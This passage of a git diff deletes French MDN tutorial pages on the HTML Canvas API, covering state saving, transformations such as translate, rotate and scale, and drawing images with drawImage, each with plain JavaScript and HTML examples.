{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}
-
Crée une image JPG. En option, vous pouvez fournir une qualité comprise entre 0 et 1, 1 étant de la meilleure qualité et 0 presque non reconnaissable mais de petite taille.
-
- -

Une fois que vous avez généré un URI de données à partir de votre canevas, vous pouvez l'utiliser comme source de {{HTMLElement ("image")}} ou le mettre dans un lien hypertexte avec un attribut de téléchargement pour l'enregistrer sur le disque par exemple.

- -

Vous pouvez également créer un {{domxref ("Blob")}} à partir du canevas.

- -
-
{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}
-
Crée un objet Blob représentant l'image contenue dans le canevas.
-
- -

Voir aussi

- - - -

{{PreviousNext("Tutoriel_canvas/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}

diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/transformations/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/transformations/index.html deleted file mode 100644 index bf21fab4c8..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/transformations/index.html +++ /dev/null @@ -1,276 +0,0 @@ ---- -title: Transformations -slug: Web/API/Canvas_API/Tutoriel_canvas/Transformations -tags: - - Canvas - - Graphismes - - Guide - - HTML - - Web -translation_of: Web/API/Canvas_API/Tutorial/Transformations ---- -
{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Utilisation_d'images", " Web/API/Canvas_API/Tutorial/Compositing ")}}
- -
Précédemment dans ce tutoriel, nous avons étudié la grille du canevas et le système de coordonnées. Jusqu'à maintenant, nous avons uniquement utilisé la grille par défaut et modifié la taille de la globalité du canevas afin de répondre à nos besoins. Les transformations que nous allons aborder dans la suite vont nous permettre, de manière plus puissante, d'effectuer des déplacements et des rotations sur la grille et même d'effectuer des mises à l'échelle.
- -

Sauvegarde et restauration d'état

- -

Avant d'étudier les méthodes de transformations, examinons deux autres méthodes qui vont être indispensables à partir du moment où l'on commence à créer des dessins complexes.

- -
-
{{domxref("CanvasRenderingContext2D.save", "save()")}}
-
Sauvegarde l'état du canevas dans sa globalité.
-
{{domxref("CanvasRenderingContext2D.restore", "restore()")}}
-
Restore le plus récent état sauvegardé du canevas.
-
- -

Les états du canevas sont stockés dans une pile. Chaque invocation de la méthode save() ajoute une copie de l'état courant du canevas en haut de la pile. L'état du dessin est constitué de :

- -
    -
  • les transformations qui ont été appliquées (exemples : déplacement, rotation, mise à l'échelle).
    • -
  • Les valeurs actuelles des attributs suivants : {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}, {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}, {{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha")}}, {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}}, {{domxref("CanvasRenderingContext2D.lineCap", "lineCap")}}, {{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin")}}, {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}, {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}}, {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}, {{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor")}}, {{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation")}}, {{domxref("CanvasRenderingContext2D.font", "font")}}, {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, {{domxref("CanvasRenderingContext2D.direction", "direction")}}, {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}.
    • -
  • Le chemin de découpe (clipping path) actuel, qu'on abordera plus loin.
    • -
- -

La méthode save() peut être invoquée autant de fois que nécessaire. Chaque appel de restore() enlève le dernier état sauvegardé de la pile et tous les paramètres sauvegardés sont restaurés.

- -

Un exemple de sauvegarde et de restauration de l état du canevas

- -

Cet exemple tente d'illustrer comment fonctionne la pile d'états de dessin en dessinant un ensemble de rectangles consécutifs.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  ctx.fillRect(0, 0, 150, 150);   // Dessine un rectangle avec les réglages par défaut
-  ctx.save();                  // Sauvegarde l'état par défaut
-
-  ctx.fillStyle = '#09F';      // Fait des changements de réglages
-  ctx.fillRect(15, 15, 120, 120); // Dessine un rectangle avec les nouveaux réglages
-
-  ctx.save();                  // Sauvegarde l'état actuel
-  ctx.fillStyle = '#FFF';      // Fait des changements de réglages
-  ctx.globalAlpha = 0.5;
-  ctx.fillRect(30, 30, 90, 90);   // Dessine un rectangle avec de nouveaux réglages
-
-  ctx.restore();               // Restaure l'état précédent
-  ctx.fillRect(45, 45, 60, 60);   // Dessine un rectangle avec les réglages restaurés
-
-  ctx.restore();               // Restaure l'état d'origine
-  ctx.fillRect(60, 60, 30, 30);   // Dessine un rectangle avec les réglages restaurés
-}
- - - -

La première étape consiste à dessiner un grand rectangle avec les paramètres par défaut. Ensuite, nous sauvegardons cet état et modifions la couleur de remplissage. Nous dessinons ensuite le deuxième rectangle bleu et mettons l'état de côté. Encore une fois, nous modifions certains paramètres de dessin et dessinons le troisième rectangle blanc semi-transparent.

- -

Jusqu'à présent, cela ressemble beaucoup à ce que nous avons fait dans les sections précédentes. Cependant, une fois que nous appelons la première instruction restore(), l'état de dessin supérieur est supprimé de la pile et les paramètres sont restaurés. Si nous n'avions pas sauvegardé l'état en utilisant save (), nous devrions modifier manuellement la couleur de remplissage et la transparence afin de revenir à l'état précédent. Cela serait facile pour deux propriétés, mais si nous avons plus que cela, notre code deviendrait très long très rapidement.

- -

Lorsque la deuxième instruction restore() est appelée, l'état d'origine (celui que nous avons configuré avant le premier appel à enregistrer) est restauré et le dernier rectangle est de nouveau tracé en noir.

- -

{{EmbedLiveSample("Un_exemple_de_sauvegarde_et_de_restauration_de_l_état_du_canevas", "180", "180", "https://mdn.mozillademos.org/files/249/Canvas_savestate.png")}}

- -

Déplacement

- -

La première des méthodes de transformation que nous examinerons est translate (). Cette méthode est utilisée pour déplacer la toile et son origine vers un autre point de la grille.

- -
-
{{domxref("CanvasRenderingContext2D.translate", "translate(x, y)")}}
-
Déplace la toile et son origine sur la grille. x indique la distance horizontale du déplacement, et y indique à quelle distance déplacer la grille verticalement.
-
- -

C'est une bonne idée de sauvegarder l'état du canevas avant d'effectuer des transformations. Dans la plupart des cas, il est plus facile d'appeler la méthode restore que d'avoir à effectuer un déplacement inverse pour revenir à l'état d'origine. De même, si vous déplacez à l'intérieur d'une boucle et que vous ne sauvegardez pas et ne restaurez pas l'état du canevas, il se peut qu'une partie de votre dessin soit manquante, car elle a été dessinée en dehors du bord du canevas.

- -

Un exemple translate

- -

Cet exemple montre certains des avantages du déplacement de l'origine du canevas. Sans la méthode translate (), tous les rectangles seraient dessinés à la même position (0,0). La méthode translate () nous donne également la liberté de placer le rectangle n'importe où sur le canevas sans avoir à ajuster manuellement les coordonnées dans la fonction fillRect (). Cela le rend un peu plus facile à comprendre et à utiliser.

- -

Dans la fonction draw (), nous appelons la fonction fillRect () neuf fois en utilisant deux boucles for . Dans chaque boucle, le canevas est déplacé, le rectangle est dessiné et le canevas est retourné à son état d'origine. Notez comment l'appel à fillRect () utilise les mêmes coordonnées à chaque fois, en s'appuyant sur translate () pour ajuster la position du dessin.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  for (var i = 0; i < 3; i++) {
-    for (var j = 0; j < 3; j++) {
-      ctx.save();
-      ctx.fillStyle = 'rgb(' + (51 * i) + ', ' + (255 - 51 * i) + ', 255)';
-      ctx.translate(10 + j * 50, 10 + i * 50);
-      ctx.fillRect(0, 0, 25, 25);
-      ctx.restore();
-    }
-  }
-}
- - - -

{{EmbedLiveSample("Un_exemple_translate", "160", "160", "https://mdn.mozillademos.org/files/9857/translate.png")}}

- -

Rotation

- -

La seconde méthode de transformation est rotate(). Nous l'utilisons pour faire pivoter le canevas autour de l'origine actuelle.

- -
-
{{domxref("CanvasRenderingContext2D.rotate", "rotate(angle)")}}
-
Fait pivoter le canevas, dans le sens des aiguilles d'une montre autour de l'origine actuelle, par le nombre de radians de l'angle.
-
- -

Le point central de rotation est toujours l'origine de la toile. Pour changer le point central, nous devrons déplacer le canevas en utilisant la méthode translate ().

- -

Un exemple rotate

- -

Dans cet exemple, nous utiliserons la méthode rotate () pour faire d'abord tourner un rectangle à partir de l'origine du canevas, puis du centre du rectangle lui-même à l'aide de translate ().

- -
-

Rappel : Les angles sont en radians, pas en degrés. Pour convertir en degrés, nous utilisons : radians = (Math.PI/180)*degrees.

-
- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  // rectangles de gauche, rotation depuis l'origine du canevas
-  ctx.save();
-  // rectangle bleu
-  ctx.fillStyle = '#0095DD';
-  ctx.fillRect(30, 30, 100, 100);
-  ctx.rotate((Math.PI / 180) * 25);
-  // rectangle gris
-  ctx.fillStyle = '#4D4E53';
-  ctx.fillRect(30, 30, 100, 100);
-  ctx.restore();
-
-  // rectangles de droite, rotation depuis le centre du rectangle
-  // dessine le rectangle bleu
-  ctx.fillStyle = '#0095DD';
-  ctx.fillRect(150, 30, 100, 100);
-
-  ctx.translate(200, 80); // déplace au centre du rectangle
-                          // x = x + 0.5 * width
-                          // y = y + 0.5 * height
-  ctx.rotate((Math.PI / 180) * 25); // rotation
-  ctx.translate(-200, -80); // déplace en arrière
-
-  // dessine le rectangle gris
-  ctx.fillStyle = '#4D4E53';
-  ctx.fillRect(150, 30, 100, 100);
-}
- -

Pour faire pivoter le rectangle autour de son propre centre, nous déplaçons le canevas au centre du rectangle, puis faisons pivoter le canevas, puis le déplaçons à 0,0, puis dessinons le rectangle.

- - - -

{{EmbedLiveSample("Un_exemple_rotate", "310", "210", "https://mdn.mozillademos.org/files/9859/rotate.png")}}

- -

Mise à l'échelle

- -

La méthode de transformation suivante est la mise à l'échelle. Nous l'utilisons pour augmenter ou diminuer les unités de notre grille de canevas. Cela peut être utilisé pour dessiner des formes ou des bitmaps réduits ou agrandis.

- -
-
{{domxref("CanvasRenderingContext2D.scale", "scale(x, y)")}}
-
Met à l'échelle les unités du canevas avec x horizontalement et y verticalement. Les deux paramètres sont des nombres réels. Les valeurs inférieures à 1,0 réduisent la taille de l'unité et les valeurs supérieures à 1,0 augmentent la taille de l'unité. Les valeurs 1.0 laissent les unités à la même taille.
-
- -

En utilisant des nombres négatifs, vous pouvez faire une mise en miroir d'axe (par exemple en utilisant translate (0, canvas.height), scale (1, -1), vous aurez le système de coordonnées cartésien bien connu, avec l'origine dans le coin inférieur gauche).

- -

Par défaut, une unité sur la toile est exactement un pixel. Si nous appliquons, par exemple, un facteur d'échelle de 0,5, l'unité résultante deviendrait 0,5 pixels et ainsi les formes seraient dessinées à la moitié de la taille. De la même façon, si nous définissons le facteur d'échelle sur 2.0, la taille de l'unité augmentera et une unité deviendra deux pixels. Cela donne des formes dessinées deux fois plus grandes.

- -

Un exemple scale

- -

Dans ce dernier exemple, nous allons dessiner des  formes avec différents facteurs d'échelle.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  // dessine un rectangle simple, mais le met à l'échelle.
-  ctx.save();
-  ctx.scale(10, 3);
-  ctx.fillRect(1, 10, 10, 10);
-  ctx.restore();
-
-  // mirror horizontally
-  ctx.scale(-1, 1);
-  ctx.font = '48px serif';
-  ctx.fillText('MDN', -135, 120);
-}
- - - -

{{EmbedLiveSample("Un_exemple_scale", "160", "160", "https://mdn.mozillademos.org/files/9861/scale.png")}}

- -

Transformation

- -

Enfin, les méthodes de transformation suivantes appliquent des modifications directement à la matrice de transformation.

- -
-
{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}
-
Multiplie la matrice de transformation actuelle avec la matrice décrite par ses arguments. La matrice de transformation est décrite par : [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]
-
- -
-
Si l'un des arguments est infini, la matrice de transformation doit être marquée comme infinie, plutôt que d'utiliser la méthode qui lance une exception.
-
- -

Les paramètres de cette fonction sont :

- -
-
a (m11)
-
Mise à l'échelle horizontale.
-
b (m12)
-
Inclinaison horizontale.
-
c (m21)
-
Inclinaison verticale.
-
d (m22)
-
Mise à l'échelle verticale.
-
e (dx)
-
Déplacement horizontal.
-
f (dy)
-
Déplacement vertical.
-
{{domxref("CanvasRenderingContext2D.setTransform", "setTransform(a, b, c, d, e, f)")}}
-
Réinitialise la transformation en cours dans la matrice d'identité, puis appelle la méthode transform () avec les mêmes arguments. Cela défait la transformation en cours, puis définit la transformation spécifiée, le tout en une seule étape.
-
{{domxref("CanvasRenderingContext2D.resetTransform", "resetTransform()")}}
-
Réinitialise la transformation en cours à la matrice d'identité. C'est la même chose que d'appeler : ctx.setTransform (1, 0, 0, 1, 0, 0);
-
- -

Exemple pour transform et setTransform

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  var sin = Math.sin(Math.PI / 6);
-  var cos = Math.cos(Math.PI / 6);
-  ctx.translate(100, 100);
-  var c = 0;
-  for (var i = 0; i <= 12; i++) {
-    c = Math.floor(255 / 12 * i);
-    ctx.fillStyle = 'rgb(' + c + ', ' + c + ', ' + c + ')';
-    ctx.fillRect(0, 0, 100, 10);
-    ctx.transform(cos, sin, -sin, cos, 0, 0);
-  }
-
-  ctx.setTransform(-1, 0, 0, 1, 100, 100);
-  ctx.fillStyle = 'rgba(255, 128, 255, 0.5)';
-  ctx.fillRect(0, 50, 100, 100);
-}
- - - -

{{EmbedLiveSample("Exemple_pour_transform_et_setTransform", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}

- -

{{PreviousNext("Tutoriel_canvas/Utilisation_d'images", "Tutoriel_canvas/Composition")}}

diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_d'images/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_d'images/index.html deleted file mode 100644 index 50a286e0fa..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_d'images/index.html +++ /dev/null @@ -1,320 +0,0 @@ ---- -title: Utilisation d'images -slug: Web/API/Canvas_API/Tutoriel_canvas/Utilisation_d'images -tags: - - Canvas - - Graphismes - - HTML - - Tutoriels -translation_of: Web/API/Canvas_API/Tutorial/Using_images ---- -

{{CanvasSidebar}} {{PreviousNext("Dessin_de_texte_avec_canvas", "Tutoriel_canvas/Transformations" )}}

- -

Jusqu'à présent, nous avons créé nos propres formes et styles appliqués. L'une des fonctionnalités les plus intéressantes de {{HTMLElement ("canvas")}} est la possibilité d'utiliser des images. Celles-ci peuvent être utilisées pour faire de la composition dynamique de photos ou comme décors de graphes, pour des "sprites" dans des jeux, et ainsi de suite. Les images externes peuvent être utilisées dans n'importe quel format pris en charge par le navigateur, comme PNG, GIF ou JPEG. Vous pouvez même utiliser l'image produite par d'autres éléments du canevas sur la même page comme source !

- -

L'importation d'images est un processus en deux étapes :

- -
    -
  1. obtenez une référence à un objet {{domxref ("HTMLImageElement")}} ou à un autre élément canvas en tant que source. Il est également possible d'utiliser des images en fournissant une URL.
    2. -
  2. l'image est dessinée sur le canevas à l'aide de la fonction drawImage() .
    3. -
- -

Jetons un oeil à la façon de le faire.

- -

Obtenir des images à dessiner

- -

L'API Canvas peut utiliser l'un des types de données suivants comme source d'image :

- -
-
{{domxref("HTMLImageElement")}}
-
Il s'agit d'images créées à l'aide du constructeur Image() , ainsi que de tout élément {{HTMLElement ("img")}}.
-
{{domxref("SVGImageElement")}}
-
Ce sont des images incorporées en utilisant l'élément {{SVGElement ("image")}}.
-
{{domxref("HTMLVideoElement")}}
-
L'utilisation d'un élément HTML {{HTMLElement("video")}} comme source d'image capture l'image actuelle de la vidéo et l'utilise comme une image.
-
{{domxref("HTMLCanvasElement")}}
-
Vous pouvez utiliser un autre élément {{HTMLElement("canvas")}} comme source d'image.
-
- -

Ces sources sont collectivement référencées par le type {{domxref ("CanvasImageSource")}}.

- -

Il existe plusieurs façons d'obtenir des images pour une utilisation sur une toile.

- -

Utilisation d'images présentes sur la même page

- -

Nous pouvons obtenir une référence aux images sur la même page que le canevas en utilisant l'un des éléments suivants :

- -
    -
  • la collection {{domxref("document.images")}} ;
    • -
  • la méthode {{domxref("document.getElementsByTagName()")}} ;
    • -
  • si vous connaissez l'ID de l'image spécifique que vous souhaitez utiliser, vous pouvez utiliser  {{domxref("document.getElementById()")}} pour retrouver cette image.
    • -
- -

Utilisation d'images d'un autre domaine

- -

En utilisant l'attribut {{htmlattrxref ("crossorigin", "img")}} d'un élément {{HTMLElement ("img")}} (reflété par la propriété {{domxref("HTMLImageElement.crossOrigin")}}), vous pouvez demander la permission de charger une image d'un autre domaine pour l'utiliser dans votre appel à drawImage (). Si le domaine d'hébergement permet un accès interdomaine à l'image, l'image peut être utilisée dans votre canevas sans l'altérer; sinon utiliser l'image va souiller le canevas.

- -

Utilisation d'autres éléments canvas

- -

Comme pour les images normales, nous accédons aux autres éléments Canvas en utilisant la méthode {{domxref ("document.getElementsByTagName ()")}} ou {{domxref ("document.getElementById ()")}}. Assurez-vous d'avoir dessiné quelque chose sur le canevas source avant de l'utiliser dans votre canevas cible.

- -

Une des utilisations les plus pratiques de cette fonctionnalité serait d'utiliser un second élément canvas comme aperçu de taille réduite d'un canevas de grande taille.

- -

Création d'une image à partir de rien

- -

Une autre option est de créer de nouveaux objets {{domxref("HTMLImageElement")}} dans le script même. Pour ce faire, vous pouvez utiliser le constructeur Image().

- -
var img = new Image();   // Crée un nouvel élément Image
-img.src = 'myImage.png'; // Définit le chemin vers sa source
-
- -

Lorsque ce script est exécuté, l'image commence à être chargée.

- -

Si vous essayez d'appeler drawImage () avant le chargement de l'image, il ne fera rien (ou, dans les anciens navigateurs, cela peut même déclencher une exception). Vous devez donc être sûr d'utiliser l'événement load pour ne pas essayer avant que l'image ne soit chargée :

- -
var img = new Image();   // Crée un nouvel élément img
-img.addEventListener('load', function() {
-  //  exécute les instructions drawImage ici 
-}, false);
-img.src = 'myImage.png'; // définit le chemin de la source
- -

Si vous n'utilisez qu'une image externe, cela peut être une bonne approche, mais une fois que vous avez besoin de suivre plus d'une image, vous devez recourir à quelque chose de plus intelligent. Il est hors de portée de ce tutoriel de regarder les tactiques de préchargement d'images, mais vous devriez garder cela à l'esprit.

- -

Intégration d'une image via une data: URL

- -

Un autre moyen possible d'inclure des images est via les data: url.. . Les URL de données vous permettent de définir complètement une image en tant que chaîne de caractères codée en Base64 directement dans votre code.

- -
var img = new Image();   // Crée un nouvel élément img
-img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw==';
- -

L'un des avantages des URL de données est que l'image résultante est disponible immédiatement, sans autre aller-retour au serveur. Un autre avantage potentiel,'il est également possible d'encapsuler dans un fichier tous vos CSS, JavaScript, HTML et images, ce qui les rend plus portable vers d'autres endroits.

- -

Certains inconvénients de cette méthode sont que votre image n'est pas mise en cache, et pour les grandes images, l'URL encodée peut devenir assez longue.

- -

Utilisation des images d'une vidéo

- -

Vous pouvez également utiliser les images d'une vidéo présentée par un élément {{HTMLElement("video")}} (même si la vidéo n'est pas visible). Par exemple, si vous avez un élément {{HTMLElement("video")}} avec l'ID "myvideo", vous pouvez faire :

- -
function getMyVideo() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext) {
-    var ctx = canvas.getContext('2d');
-
-    return document.getElementById('myvideo');
-  }
-}
- -

Cela renvoie l'objet {{domxref ("HTMLVideoElement")}} pour la vidéo, qui, comme décrit précédemment, est l'un des objets pouvant être utilisé comme CanvasImageSource.

- -

Dessin d'images

- -

Une fois la référence à l'objet image source obtenue, on peut utiliser la méthode drawImage() pour l'afficher sur le canevas. Comme nous le verrons plus tard, la méthode drawImage() est surchargée et possède trois variantes différentes. Dans sa forme la plus basique, elle ressemble à ceci :

- -
-
{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y)")}}
-
Dessine le CanvasImageSource spécifié par le paramètre image aux coordonnées (x, y).
-
- -
-

Les images SVG doivent spécifier une largeur et une hauteur dans l'élément racine <svg>.

-
- -

Exemple: un graphique linéaire simple

- -

Dans l'exemple suivant, nous utiliserons une image externe comme fond pour un petit graphique linéaire. L'utilisation d'images de fond peut rendre vos scripts considérablement plus légers puisqu'il n'est alors pas nécessaire de dessiner des arrières-plans élaborés. Une seule image est utilisée ici, on utilise donc le gestionnaire d'évènement load de l'objet image pour lancer les instructions de dessin. La méthode drawImage() place l'image de fond aux coordonnées (0,0), soit le coin supérieur gauche du canevas.

- -
<html>
- <body onload="draw();">
-   <canvas id="canvas" width="180" height="150"></canvas>
- </body>
-</html>
- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  var img = new Image();
-  img.onload = function() {
-    ctx.drawImage(img, 0, 0);
-    ctx.beginPath();
-    ctx.moveTo(30, 96);
-    ctx.lineTo(70, 66);
-    ctx.lineTo(103, 76);
-    ctx.lineTo(170, 15);
-    ctx.stroke();
-  };
-  img.src = 'https://mdn.mozillademos.org/files/5395/backdrop.png';
-}
- -

Le graphique résultant ressemble à ceci :

- -

{{EmbedLiveSample("Example_A_simple_line_graph", 220, 160, "https://mdn.mozillademos.org/files/206/Canvas_backdrop.png")}}

- -

Mise à l'échelle

- -

La seconde variante de la méthode drawImage() ajoute deux paramètres supplémentaires et permet de placer des images redimensionnées sur le canevas.

- -

Exemple: Tapissage d'une image

- -

Dans cet exemple, nous utiliserons une image comme papier-peint en la répétant plusieurs fois sur le canevas. Cette opération est réalisée simplement en faisant une boucle plaçant plusieurs fois l'image redimensionnée à différentes positions. Dans le code ci-dessous, la première boucle for s'occupe des lignes alors que la seconde gère les colonnes. L'image est redimensionnée à un tiers de sa taille originale, ce qui fait 50×38 pixels.

- -
-

Note : les images peuvent devenir floues lorsqu'elles sont agrandies ou granuleuses si elles sont réduites. Il vaut mieux ne pas redimensionner une image contenant du texte devant rester lisible.

-
- -
<html>
- <body onload="draw();">
-   <canvas id="canvas" width="150" height="150"></canvas>
- </body>
-</html>
- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  var img = new Image();
-  img.onload = function() {
-    for (var i = 0; i < 4; i++) {
-      for (var j = 0; j < 3; j++) {
-        ctx.drawImage(img, j * 50, i * 38, 50, 38);
-      }
-    }
-  };
-  img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
-}
- -

Le canevas résultant ressemble à ceci :

- -

{{EmbedLiveSample("Example_Tiling_an_image", 160, 160, "https://mdn.mozillademos.org/files/251/Canvas_scale_image.png")}}

- -

Découpage

- -

La troisième et dernière variante de la méthode drawImage() possède huit nouveaux paramètres. On peut l'utiliser pour découper des parties d'une image source et les afficher sur le canevas.

- -
-
{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}
-
Cette fonction prend la zone de l'image source spécifiée par le rectangle dont le coin en haut à gauche est (sx, sy) et dont la largeur et la hauteur sont sWidth et sHeight et le dessine dans le canevas en le plaçant sur le canevas (dx, dy) et le redimensionner à la taille spécifiée par dWidth et dHeight.
-
- -

Pour vraiment comprendre ce que cela fait, il peut être utile de regarder l'image à droite. Les quatre premiers paramètres définissent l'emplacement et la taille du morceau de l'image source. Les quatre derniers paramètres définissent le rectangle dans lequel dessiner l'image sur le canevas de destination.

- -

Le découpage peut être un outil utile pour réaliser des compositions. Vous pouvez disposer tous les éléments dans un seul fichier image et utiliser cette méthode pour composer un dessin complet. Par exemple, si vous voulez réaliser un graphique, vous pouvez utiliser une image PNG contenant tout le texte nécessaire dans un seul fichier et, selon vos données, changer l'échelle de votre graphique sans trop de difficultés. Un autre avantage est qu'il n'est pas nécessaire de charger chaque image individuellement.

- -

Exemple : encadrer une image

- -

Dans cet exemple, nous utiliserons le même rhinocéros que plus haut, mais sa tête sera coupée et composée avec un cadre. L'image du cadre fournit une ombre portée qui a été enregistrée dans une image PNG 24 bits. Comme les images PNG 24 bits comportent un canal alpha complet de 8 bits, contrairement aux images GIF et PNG 8 bits, elle peut être placée sur n'importe quel fond sans avoir à se préoccuper de la couleur de transition.

- -
<html>
- <body onload="draw();">
-   <canvas id="canvas" width="150" height="150"></canvas>
-   <div style="display:none;">
-     <img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227">
-     <img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150">
-   </div>
- </body>
-</html>
- -
function draw() {
-  var canvas = document.getElementById('canvas');
-  var ctx = canvas.getContext('2d');
-
-  // Draw slice
-  ctx.drawImage(document.getElementById('source'),
-                33, 71, 104, 124, 21, 20, 87, 104);
-
-  // Draw frame
-  ctx.drawImage(document.getElementById('frame'), 0, 0);
-}
- -

Nous avons pris une approche différente pour charger les images cette fois. Au lieu de les charger en créant de nouveaux objets {{domxref ("HTMLImageElement")}}, nous les avons incluses comme balises {{HTMLElement("img")}} directement dans notre source HTML et avons récupéré les images depuis ceux-ci. Les images sont masquées à partir de la sortie, en définissant la propriété CSS {{cssxref ("display")}} à aucune.

- -

{{EmbedLiveSample("Example_Framing_an_image", 160, 160, "https://mdn.mozillademos.org/files/226/Canvas_drawimage2.jpg")}}

- -

Le script lui-même est très simple. Chaque {{HTMLElement ("img")}} se voit attribuer un attribut ID, ce qui facilite leur sélection en utilisant {{domxref ("document.getElementById ()")}}. Nous utilisons simplement drawImage () pour découper le rhinocéros de la première image et le mettre à l'échelle sur le canevas, puis dessiner le cadre par le haut en utilisant un deuxième appel drawImage ().

- - - -

Dans le dernier exemple de ce chapitre, nous présenterons une petite galerie d'art. Cette galerie est constituée d'un tableau contenant plusieurs images. Lorsque la page est chargée, un élément {{HTMLElement("canvas")}} est inséré pour chaque image et un cadre est dessiné autour.

- -

Dans notre cas, toutes les images ont une largeur et une hauteur fixes, ainsi que le cadre qui sera dessiné autour. Le script pourrait être amélioré afin d'utiliser la largeur et la hauteur de l'image pour que le cadre s'adapte parfaitement à ses dimensions.

- -

Le code ci-dessous devrait s'expliquer de lui-même. Nous parcourons le conteneur {{domxref ("document.images")}} et nous ajoutons de nouveaux éléments canvas. La seule chose notable est probablement, pour ceux qui ne sont pas familiers avec le DOM, l'utilisation de la méthode {{domxref("Node.insertBefore")}} . insertBefore() est une méthode du nœud parent (une cellule de tableau) de l'élément (l'image) avant lequel on désire insérer le nouveau nœud (l'élément canvas).

- -
<html>
- <body onload="draw();">
-     <table>
-      <tr>
-        <td><img src="https://mdn.mozillademos.org/files/5399/gallery_1.jpg"></td>
-        <td><img src="https://mdn.mozillademos.org/files/5401/gallery_2.jpg"></td>
-        <td><img src="https://mdn.mozillademos.org/files/5403/gallery_3.jpg"></td>
-        <td><img src="https://mdn.mozillademos.org/files/5405/gallery_4.jpg"></td>
-      </tr>
-      <tr>
-        <td><img src="https://mdn.mozillademos.org/files/5407/gallery_5.jpg"></td>
-        <td><img src="https://mdn.mozillademos.org/files/5409/gallery_6.jpg"></td>
-        <td><img src="https://mdn.mozillademos.org/files/5411/gallery_7.jpg"></td>
-        <td><img src="https://mdn.mozillademos.org/files/5413/gallery_8.jpg"></td>
-      </tr>
-     </table>
-     <img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150">
- </body>
-</html>
-
- -

Et voici quelques CSS pour rendre les choses agréables :

- -
body {
-  background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4F191A;
-  margin: 10px;
-}
-
-img {
-  display: none;
-}
-
-table {
-  margin: 0 auto;
-}
-
-td {
-  padding: 15px;
-}
-
- -

Le lien pour tout cela, c'est le JavaScript pour dessiner les images encadrées :

- -
function draw() {
-
-  // Boucle à travers toutes les images
-  for (var i = 0; i < document.images.length; i++) {
-
-    // N'ajoute pas de canevas pour l'image du cadre
-    if (document.images[i].getAttribute('id') != 'frame') {
-
-      // Crée un élément canvas
-      canvas = document.createElement('canvas');
-      canvas.setAttribute('width', 132);
-      canvas.setAttribute('height', 150);
-
-      // Insère avant l'image
-      document.images[i].parentNode.insertBefore(canvas,document.images[i]);
-
-      ctx = canvas.getContext('2d');
-
-      // Dessine l'image sur canvas
-      ctx.drawImage(document.images[i], 15, 20);
-
-      // Ajoute un cadre
-      ctx.drawImage(document.getElementById('frame'), 0, 0);
-    }
-  }
-}
- -

{{EmbedLiveSample("Art_gallery_example", 725, 400)}}

- -

Contrôle du comportement de la mise à l'échelle de l'image

- -

Comme mentionné précédemment, la mise à l'échelle des images peut entraîner des objets flous ou granuleux en raison du processus de mise à l'échelle. Vous pouvez utiliser la propriété {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} du contexte de dessin pour contrôler l'utilisation des algorithmes de lissage d'image lors de la mise à l'échelle des images dans votre contexte. Par défaut, cela est vrai, ce qui signifie que les images seront lissées lors de la mise à l'échelle. Vous pouvez désactiver cette fonctionnalité comme ceci :

- -
ctx.mozImageSmoothingEnabled = false;
-ctx.webkitImageSmoothingEnabled = false;
-ctx.msImageSmoothingEnabled = false;
-ctx.imageSmoothingEnabled = false;
- -

{{PreviousNext("Dessin_de_texte_avec_canvas", "Tutoriel_canvas/Transformations" )}}

